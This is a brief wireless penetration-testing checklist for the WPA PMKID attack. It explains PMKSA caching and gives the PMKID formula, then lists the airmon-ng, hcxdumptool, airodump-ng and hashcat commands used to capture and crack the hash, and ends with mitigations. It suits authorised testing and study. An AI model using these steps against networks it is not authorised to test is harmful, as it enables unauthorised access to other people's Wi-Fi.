Wi-Fi WPA Basic Wireless Pentest Checklist

• Capture the Pairwise Master Key Identifier (PMKID)

• Crack the PMKID

• Due to AP roaming.

  • The router stores the PMKID from the initial exchange into a PMKSA cache
  • When a client connects to a new AP, the 4-way handshake is not needed, the router gets the PMKSA from the client and verifies it.

• The PMKID is derived from the PMK and contexts such as the MAC addresses and nonces.

PMKID = HMAC-SHA1-128(PMK, "PMK Name", AP MAC, Station MAC)

• The AP and Station MAC address and ESSID is easily enumerable.
• No client interaction is necessary

Manual Capture

• Enable monitor mode on interface

sudo airmon-ng start <interface>

• Scan for networks with PMKIDs using hcxdumptool

hcxdumptool -i <interface> --enable_status=3

• Identify the BSSID of the target using airodump-ng

airodump-ng <interface> --essid <ESSID>

• Capture the PMKID

hcxdumptool -i <interface> --enable_status=3 --filterlist_ap=<MAC of BSSID> --filtermode=2 -o <output pcap>

• Convert the pcap to hash

hxcpcapngtool -o hash <pcap>

Wifite

• The Wifite tool will automatically capture the PMKID hash

Airgeddon

• The Airgeddon tool has an option for capturing PMKID

Cracking

• Can be cracked with hashcat

hashcat -m 22000 --force <hash> <wordlist>

Mitigations

• Disable fast roaming on the router
• Use WPA3 if possible
• Use strong PSK